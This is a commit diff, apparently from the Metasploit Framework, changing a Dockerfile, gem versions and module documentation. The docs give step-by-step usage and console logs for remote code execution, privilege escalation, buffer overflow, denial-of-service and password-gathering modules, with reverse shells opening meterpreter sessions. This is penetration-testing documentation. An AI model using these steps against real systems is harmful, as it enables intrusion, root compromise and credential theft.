Sync up with master
commit
c7efd57144
41
Dockerfile
41
Dockerfile
|
@ -1,9 +1,8 @@
|
|||
FROM ruby:2.5.1-alpine3.7
|
||||
FROM ruby:2.5.1-alpine3.7 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
|
@ -12,20 +11,7 @@ COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/vers
|
|||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
RUN apk add --no-cache \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
|
@ -44,15 +30,28 @@ RUN apk update && \
|
|||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY . $APP_HOME
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
|
|
12
Gemfile.lock
12
Gemfile.lock
|
@ -10,6 +10,7 @@ PATH
|
|||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
dnsruby
|
||||
ed25519
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
|
@ -18,7 +19,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.47)
|
||||
metasploit-payloads (= 1.3.52)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.2)
|
||||
mqtt
|
||||
|
@ -112,7 +113,7 @@ GEM
|
|||
backports (3.11.4)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.3)
|
||||
bindata (2.4.4)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
|
@ -123,6 +124,7 @@ GEM
|
|||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
ed25519 (1.2.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.1)
|
||||
|
@ -164,7 +166,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.47)
|
||||
metasploit-payloads (1.3.52)
|
||||
metasploit_data_models (3.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -232,7 +234,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.22)
|
||||
recog (2.1.24)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
@ -305,7 +307,7 @@ GEM
|
|||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.0.0)
|
||||
ruby-macho (2.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.4)
|
||||
bindata
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -14,10 +14,22 @@
|
|||
<%= normalize_platforms(items[:mod_platforms]) %>
|
||||
<% end %>
|
||||
|
||||
## Reliability
|
||||
## Module Ranking
|
||||
|
||||
<%= normalize_rank(items[:mod_rank]) %>
|
||||
|
||||
## Side Effects
|
||||
|
||||
<%= normalize_side_effects(items[:mod_side_effects]) %>
|
||||
|
||||
## Reliability
|
||||
|
||||
<%= normalize_reliability(items[:mod_reliability]) %>
|
||||
|
||||
## Stability
|
||||
|
||||
<%= normalize_stability(items[:mod_stability]) %>
|
||||
|
||||
## Related Pull Requests
|
||||
|
||||
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,31 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in Safari WebKit to crash the device.
|
||||
The bug affects all iOS devices running iOS 9 up to iOS 12 and Safari on OSX 10.13.6
|
||||
|
||||
The device will "re-spring" the operating system, but not actually restart the device.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur`
|
||||
1. Do: `set URIPATH /` (Optional)
|
||||
1. Do: `run`
|
||||
1. When you visit the page on a vulnerable device, it should crash the operating system
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Safari 602.1 on iOS 10.1.1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
|
||||
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run
|
||||
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://192.168.0.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.0.2: Sending response to User-Agent: Mozilla/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1
|
||||
|
||||
```
|
|
@ -1,42 +0,0 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Unitrends UEB 9 http api/storage remote root
|
||||
|
||||
This exploit leverages a sqli vulnerability for authentication bypass,
|
||||
together with command injection for subsequent root RCE.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/linux/http/ueb9_api_storage ```
|
||||
2. ```set lhost [IP]```
|
||||
3. ```set rhost [IP]```
|
||||
4. ```exploit```
|
||||
5. A meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 9.1 on CentOS 6.5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/ueb9_api_storage
|
||||
msf exploit(ueb9_api_storage) > set rhost 10.0.0.230
|
||||
rhost => 10.0.0.230
|
||||
msf exploit(ueb9_api_storage) > set lhost 10.0.0.141
|
||||
lhost => 10.0.0.141
|
||||
msf exploit(ueb9_api_storage) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.141:4444
|
||||
[*] 10.0.0.230:443 - pwn'ng ueb 9....
|
||||
[*] Command Stager progress - 19.83% done (164/827 bytes)
|
||||
[*] Command Stager progress - 39.30% done (325/827 bytes)
|
||||
[*] Command Stager progress - 57.44% done (475/827 bytes)
|
||||
[*] Command Stager progress - 75.45% done (624/827 bytes)
|
||||
[*] Command Stager progress - 93.35% done (772/827 bytes)
|
||||
[*] Command Stager progress - 110.88% done (917/827 bytes)
|
||||
[*] Sending stage (826872 bytes) to 10.0.0.230
|
||||
[*] Command Stager progress - 126.72% done (1048/827 bytes)
|
||||
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33674) at 2017-10-06 11:07:47 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
|
@ -0,0 +1,93 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This exploit leverages a sqli vulnerability for authentication bypass,
|
||||
together with command injection for subsequent RCE.
|
||||
|
||||
This exploit has two targets:
|
||||
|
||||
1. Unitrends UEB 9 http api/storage RCE for root privileges
|
||||
2. Unitrends UEB < 10.1.0 api/hosts RCE for user (apache) privileges
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/linux/http/ueb_api_rce```
|
||||
2. ```set lhost [IP]```
|
||||
3. ```set rhost [IP]```
|
||||
4. ```set target [#]```
|
||||
5. ```exploit```
|
||||
6. A meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 9.2 on CentOS 6.5 Using api/storage (target 0) root exploit
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/ueb_api_rce
|
||||
msf5 exploit(linux/http/ueb_api_rce) > set target 0
|
||||
target => 0
|
||||
msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
msf5 exploit(linux/http/ueb_api_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:443 - Sending requests to UEB...
|
||||
[*] Command Stager progress - 19.76% done (164/830 bytes)
|
||||
[*] Command Stager progress - 39.16% done (325/830 bytes)
|
||||
[*] Command Stager progress - 56.87% done (472/830 bytes)
|
||||
[*] Command Stager progress - 74.82% done (621/830 bytes)
|
||||
[*] Command Stager progress - 92.77% done (770/830 bytes)
|
||||
[*] Command Stager progress - 110.48% done (917/830 bytes)
|
||||
[*] Sending stage (861480 bytes) to 1.1.1.1
|
||||
[*] Command Stager progress - 126.63% done (1051/830 bytes)
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43600) at 2018-09-10 20:51:16 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 1.1.1.1
|
||||
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
||||
### UEB 9.2 on CentOS 6.5 Using api/hosts (target 1) exploit
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/ueb_api_rce
|
||||
msf5 exploit(linux/http/ueb_api_rce) > set target 1
|
||||
target => 1
|
||||
msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1
|
||||
rhost => 1.1.1.1
|
||||
msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
msf5 exploit(linux/http/ueb_api_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] 1.1.1.1:443 - Sending requests to UEB...
|
||||
[*] Command Stager progress - 19.76% done (164/830 bytes)
|
||||
[*] Command Stager progress - 39.16% done (325/830 bytes)
|
||||
[*] Command Stager progress - 56.87% done (472/830 bytes)
|
||||
[*] Command Stager progress - 74.82% done (621/830 bytes)
|
||||
[*] Command Stager progress - 92.77% done (770/830 bytes)
|
||||
[*] Command Stager progress - 110.48% done (917/830 bytes)
|
||||
[*] Sending stage (861480 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43515) at 2018-09-10 20:46:24 -0400
|
||||
[*] Command Stager progress - 126.63% done (1051/830 bytes)
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 1.1.1.1
|
||||
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=48, gid=48, euid=48, egid=48
|
||||
meterpreter > shell
|
||||
Process 25534 created.
|
||||
Channel 1 created.
|
||||
whoami
|
||||
apache
|
||||
```
|
|
@ -7,7 +7,7 @@
|
|||
|
||||
## Vulnerable Application
|
||||
|
||||
The `lastore-daemon` D-Bus configuration on Deepin Linux 15.5 permits any
|
||||
The `lastore-daemon` D-Bus configuration on Deepin Linux permits any
|
||||
user in the `sudo` group to install arbitrary system packages without
|
||||
providing a password, resulting in code execution as root. By default,
|
||||
the first user created on the system is a member of the `sudo` group.
|
||||
|
@ -30,8 +30,10 @@
|
|||
</policy>
|
||||
```
|
||||
|
||||
This module has been tested successfully with lastore-daemon version
|
||||
0.9.53-1 on Deepin Linux 15.5 (x64).
|
||||
This module has been tested successfully with lastore-daemon versions:
|
||||
|
||||
* 0.9.53-1 on Deepin Linux 15.5 (x64)
|
||||
* 0.9.66-1 on Deepin Linux 15.7 (x64)
|
||||
|
||||
Deepin Linux is available here:
|
||||
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
## Description
|
||||
|
||||
This module exploits insufficient sanitization in the database::protect method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
|
||||
It then uses a path traversal vulnerability in navigate_upload.php that allows authenticated users to upload PHP files to arbitrary locations.
|
||||
Together these vulnerabilities allow an unauthenticated attacker to execute arbitrary PHP code remotely.
|
||||
|
||||
This module was tested against Navigate CMS 2.8.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Navigate CMS 2.8](https://master.dl.sourceforge.net/project/navigatecms/releases/navigate-2.8r1302.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Navigate CMS
|
||||
2. Start `msfconsole`
|
||||
3. `use exploit/multi/http/navigate_cms_rce`
|
||||
4. `set RHOST <rhost>`
|
||||
5. `check`
|
||||
6. You should see `The target appears to be vulnerable.`
|
||||
7. `exploit`
|
||||
8. You should get a meterpreter session
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Navigate CMS on Ubuntu 18.04
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/navigate_cms_rce
|
||||
msf5 exploit(multi/http/navigate_cms_rce) > set RHOST 192.168.178.45
|
||||
RHOST => 192.168.178.45
|
||||
msf5 exploit(multi/http/navigate_cms_rce) > check
|
||||
[*] 192.168.178.45:80 The target appears to be vulnerable.
|
||||
msf5 exploit(multi/http/navigate_cms_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.178.35:4444
|
||||
[+] Login bypass successful
|
||||
[+] Upload successful
|
||||
[*] Triggering payload...
|
||||
[*] Sending stage (37775 bytes) to 192.168.178.45
|
||||
[*] Meterpreter session 1 opened (192.168.178.35:4444 -> 192.168.178.45:52720) at 2018-09-26 22:24:59 +0200
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -1,6 +1,10 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This vulnerability expoits mysql by adding a .so or .dll file which has a system call in it to the plugins folder.
|
||||
The Windows dll files are provided by [@stamparm](https://github.com/stamparm) of the sqlmap project and are
|
||||
located [here](https://github.com/rapid7/metasploit-framework/files/1879611/mysql_udf_libs.zip). As noted
|
||||
in [#9677](https://github.com/rapid7/metasploit-framework/issues/9677#issuecomment-378893925) these are 'de-cloaked' versions,
|
||||
which may attract AV attention.
|
||||
The file is then loaded by mysql, and arbitrary commands can be run. There are several caveats for this to
|
||||
function however, including:
|
||||
1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing
|
||||
|
|
|
@ -0,0 +1,64 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
|
||||
systems by exploiting the `ifwatchd` suid executable.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
`ifwatchd` allows users to specify scripts to execute using the `-A`
|
||||
command line argument; however, it does not drop privileges when
|
||||
executing user-supplied scripts, resulting in execution of arbitrary
|
||||
commands as root.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* QNX Neutrino 6.5.0 (x86)
|
||||
* QNX Neutrino 6.5.0 SP1 (x86)
|
||||
|
||||
QNX Neutrino 6.5.0 Service Pack 1 is available here:
|
||||
|
||||
* http://www.qnx.com/download/feature.html?programid=23665
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/qnx/local/ifwatchd_priv_esc`
|
||||
3. `set session <ID>`
|
||||
4. `run`
|
||||
5. You should get a *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/qnx/local/ifwatchd_priv_esc
|
||||
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(qnx/local/ifwatchd_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing interface arrival event script...
|
||||
[*] Executing /sbin/ifwatchd...
|
||||
[*] Command shell session 2 opened (172.16.191.188:4444 -> 172.16.191.215:65500) at 2018-03-22 15:18:48 -0400
|
||||
|
||||
id
|
||||
uid=100(test) gid=100 euid=0(root)
|
||||
uname -a
|
||||
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86
|
||||
```
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
## Description
|
||||
|
||||
Zahir Accounting Enterprise 6 through build 10.b contains a buffer overflow vulnerability in its Import file functionality, which can be triggered with a crafted CSV file.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Zahir Enterprise 6](http://zahiraccounting.com/files/zahir-accounting-6-free-trial.zip) through build 10.b
|
||||
|
||||
[Update to build 10b](http://zahirsoftware.com/zahirupdate/Zahir_SMB_6_Build10b%20-%20MultiUser.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use exploit/windows/fileformat/zahir_enterprise_plus_csv`
|
||||
3. `run`
|
||||
4. `handler -p <payload> -H <lhost> -P <lport>`
|
||||
5. From Zahir Application. File -> Import -> Import from File -> Select option -> Specify msf generated file -> Click through to Process
|
||||
6. Get a session
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Zahir Enterprise 6 build 10b on Windows 10 x64
|
||||
|
||||
```
|
||||
msf5 exploit(windows/fileformat/zahir_enterprise_plus_csv) >
|
||||
[*] Started reverse TCP handler on 172.22.222.130:4444
|
||||
[*] Sending stage (179779 bytes) to 172.22.222.200
|
||||
[*] Meterpreter session 4 opened (172.22.222.130:4444 -> 172.22.222.200:49934) at 2018-10-04 10:09:01 -0500
|
||||
sessions -i 4
|
||||
[*] Starting interaction with 4...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-IPOGIJR
|
||||
OS : Windows 10 (Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,65 @@
|
|||
## Intro
|
||||
This module will abuse the SeImperonsate privilege commonly found in
|
||||
services due to the requirement to impersonate a client upon
|
||||
authentication. As such it is possible to impersonate the SYSTEM account
|
||||
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM
|
||||
attack at which intercepts the hash and relay responses from RPC to be
|
||||
able to establish a handle to a new SYSTEM token. Some caveats : Set
|
||||
your target option to match the architecture of your Meterpreter
|
||||
session, else it will inject the wrong architecture DLL into the process
|
||||
of a seperate architecture. Additionally, after you have established a
|
||||
session, you must use incognito to imperonsate the SYSTEM Token.
|
||||
|
||||
## Build Instructions
|
||||
This builds using visual studio 2017 and tools v141. Attempts
|
||||
to compile with previous verstions of build tools will succeed but
|
||||
the resulting binary fails to exploit the vulnerability.
|
||||
|
||||
## Usage
|
||||
You'll first need to obtain a session on the target system.
|
||||
Next, once the module is loaded, one simply needs to set the
|
||||
```payload``` and ```session``` options, in addition to architecture.
|
||||
|
||||
Your user at which you are trying to exploit must have `SeImpersonate`
|
||||
privileges.
|
||||
|
||||
The module has a hardcoded timeout of 20 seconds, as the attack may
|
||||
not work immediately and take a few seconds to start. Also, check to
|
||||
make sure port 6666 is inherently not in use else the exploit will not
|
||||
run properly
|
||||
|
||||
## Scenario
|
||||
```
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 48 yes The session to run this module on. Payload options
|
||||
(windows/x64/meterpreter/reverse_tcp):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
|
||||
process, none)
|
||||
LHOST ens3 yes The listen address (an interface may be specified)
|
||||
LPORT 3312 yes The listen port Exploit target:
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
|
||||
[*] Started reverse TCP handler on -snip-:3312
|
||||
[*] Launching notepad to host the exploit... [+] Process 3564 launched.
|
||||
[*] Reflectively injecting the exploit DLL into 3564...
|
||||
[*] Injecting exploit into 3564...
|
||||
[*] Exploit injected. Injecting payload into 3564...
|
||||
[*] Payload injected. Executing exploit..
|
||||
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||
[*] Sending stage (206403 bytes) to -snip-
|
||||
[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400
|
||||
meterpreter > load incognito
|
||||
Loading extension incognito...Success.
|
||||
meterpreter > impersonate_token
|
||||
'NT AUTHORITY\SYSTEM'
|
||||
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
|
||||
Call rev2self if primary process token is SYSTEM
|
||||
[-] No delegation token available
|
||||
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
|
||||
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,55 @@
|
|||
## Intro
|
||||
This module will abuse the SeImperonsate privilege commonly found in
|
||||
services due to the requirement to impersonate a client upon
|
||||
authentication. As such it is possible to impersonate the SYSTEM account
|
||||
and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM
|
||||
attack at which intercepts the hash and relay responses from RPC to be
|
||||
able to establish a handle to a new SYSTEM token. Some caveats : Set
|
||||
your target option to match the architecture of your Meterpreter
|
||||
session, else it will inject the wrong architecture DLL into the process
|
||||
of a seperate architecture. Additionally, after you have established a
|
||||
session, you must use incognito to imperonsate the SYSTEM Token.
|
||||
## Usage
|
||||
You'll first need to obtain a session on the target system.
|
||||
Next, once the module is loaded, one simply needs to set the
|
||||
```payload``` and ```session``` options, in addition to architecture.
|
||||
|
||||
Your user at which you are trying to exploit must have `SeImpersonate`
|
||||
privileges.
|
||||
|
||||
The module has a hardcoded timeout of 20 seconds, as the attack may
|
||||
not work immediately and take a few seconds to start. Also, check to
|
||||
make sure port 6666 is inherently not in use else the exploit will not
|
||||
run properly
|
||||
|
||||
## Scenario
|
||||
```
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 48 yes The session to run this module on. Payload options
|
||||
(windows/x64/meterpreter/reverse_tcp):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
|
||||
process, none)
|
||||
LHOST ens3 yes The listen address (an interface may be specified)
|
||||
LPORT 3312 yes The listen port Exploit target:
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
|
||||
[*] Started reverse TCP handler on -snip-:3312 [*] Launching notepad to
|
||||
host the exploit... [+] Process 3564 launched. [*] Reflectively
|
||||
injecting the exploit DLL into 3564... [*] Injecting exploit into
|
||||
3564... [*] Exploit injected. Injecting payload into 3564... [*] Payload
|
||||
injected. Executing exploit... [+] Exploit finished, wait for (hopefully
|
||||
privileged) payload execution to complete. [*] Sending stage (206403
|
||||
bytes) to -snip- [*] Meterpreter session 49 opened (-snip-:3312 ->
|
||||
-snip-:55306) at 2018-08-03 01:54:18 -0400 meterpreter > load incognito
|
||||
Loading extension incognito...Success. meterpreter > impersonate_token
|
||||
'NT AUTHORITY\SYSTEM' [-] Warning: Not currently running as SYSTEM, not
|
||||
all tokens will be available
|
||||
Call rev2self if primary process token is SYSTEM [-] No
|
||||
delegation token available [+] Successfully impersonated user NT
|
||||
AUTHORITY\SYSTEM meterpreter > getsystem -t 1 ...got system via
|
||||
technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter >
|
||||
```
|
|
@ -30,7 +30,7 @@ Another way to use windows/meterpreter/reverse_tcp is to generate it as an execu
|
|||
you would want to do it with msfvenom. If you are old school, you have probably also heard of
|
||||
msfpayload and msfencode. msfvenom is a replacement of those.
|
||||
|
||||
The following is a basic example of using msfvenom to to generate windows/meterpreter/reverse_tcp
|
||||
The following is a basic example of using msfvenom to generate windows/meterpreter/reverse_tcp
|
||||
as an executable:
|
||||
|
||||
```
|
||||
|
@ -261,7 +261,7 @@ meterpreter > getsystem
|
|||
**hashdump**
|
||||
|
||||
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
|
||||
For sxample:
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > hashdump
|
||||
|
|
|
@ -8,6 +8,7 @@
|
|||
- Linux: `iwlist scanning`
|
||||
- Solaris: `dladm scan-wifi`
|
||||
- BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"`
|
||||
- Android: [WifiManager](https://developer.android.com/reference/android/net/wifi/WifiManager)
|
||||
|
||||
If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized.
|
||||
These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them. The original
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
This module shows Apple VNC Password from Mac OS X High Sierra.
|
||||
|
||||
The password can be set by visiting:
|
||||
System Preferences > Sharing > Screen Sharing > Computer Settings
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
* macOS 10.13.6
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get an OSX meterpreter session running as root
|
||||
3. Do: `use post/osx/gather/vnc_password_osx`
|
||||
4. Do: `set SESSION [ID]`
|
||||
5. Do: `run`
|
||||
6. You should see the password
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Typical run against an OSX session, with the vnc service activated:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > use post/osx/gather/vnc_password_osx
|
||||
msf5 post(osx/gather/vnc_password_osx) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf5 post(osx/gather/vnc_password_osx) > exploit
|
||||
|
||||
[*] Checking VNC Password...
|
||||
[+] Password Found: PoCpassw
|
||||
[+] Password data stored as loot in: .msf4/loot/20181002142527_default_10.0.2.15_osx.vnc.password_371610.txt
|
||||
[*] Post module execution completed
|
||||
msf5 post(osx/gather/vnc_password_osx) >
|
||||
```
|
|
@ -0,0 +1,32 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.26403.7
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MSFRottenPotato", "MSFRottenPotato\MSFRottenPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Debug|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
